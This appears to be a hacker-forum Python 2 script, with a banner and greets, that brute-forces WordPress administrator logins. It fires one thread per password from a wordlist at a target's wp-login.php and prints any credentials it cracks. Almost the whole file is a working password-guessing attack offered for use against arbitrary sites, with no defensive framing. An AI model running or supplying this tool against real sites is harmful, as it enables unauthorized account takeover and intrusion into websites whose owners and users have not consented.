#!/usr/bin/python 
# Video: http://youtu.be/mURnM-Yp72g 
# Coded By: xSecurity

import urllib, urllib2, os, sys, requests as xsec, re
from time import sleep
from threading import Thread
def cls():
    linux = 'clear'
    windows = 'cls'
    os.system([linux,windows][os.name == 'nt']) 
cls()
print '''
       __                      _ _         
__  __/ _\ ___  ___ _   _ _ __(_) |_ _   _ 
\ \/ /\ \ / _ \/ __| | | | '__| | __| | | |
 >  < _\ \  __/ (__| |_| | |  | | |_| |_| |
/_/\_\\__/\___|\___|\__,_ |_|  |_|\__|\__, |
                                     |___/WordPress Brute Muliththreading :)
#Home: Sec4ever.CoM | Is-Sec.CoM | s3c-k.com
#Greets: UzunDz - b0x - Lov3rDNS - Mr.Dm4r - DamaneDz - rOx - r0kin 
Special For My Lov3r Cyber-Crystal
#Usage: Python wp.py http://target.com/ admin pass.txt
#Note: U Need Install Requests Package: http://www.youtube.com/watch?v=Ng5T18HyA-Q'''

xsec = xsec.session()
def brute(target,usr,pwd):
    get = xsec.get(target+'/wp-admin/')
    post = {}
    post["log"] = usr
    post["pwd"] = pwd
    post["wp-submit"] = "Log+in"
    post["redirect_to"] = target
    post["testcookie"] = "1"
    get2 = xsec.post(target+'/wp-login.php' , data=urllib.urlencode(post))
    get3 = xsec.get(target+'/wp-admin')
    if '<li id="wp-admin-bar-logout">' in get3.text:
        print '[+] Cracked Username: '+usr+' & Password: '+pwd
        os._exit(1)
    else:
        print '[~] Trying ...: '+pwd

if len(sys.argv) >= 3:
    target = sys.argv[1]
    usr = sys.argv[2]
    lst = open(sys.argv[3]).read().split("\n") 
    print '[*]Target: '+target
    print '[*]LIST:',len(lst)
    print '[*]Username: '+usr
    thrdlst = []
    for pwd in lst:
        t = Thread(target=brute, args=(target,usr,pwd))
        t.start()
        thrdlst.append(t)
        sleep(0.009)
    for b in thrdlst:
        b.join()
else:
    print '[>]There Somthing Missing Check ARGVS :)'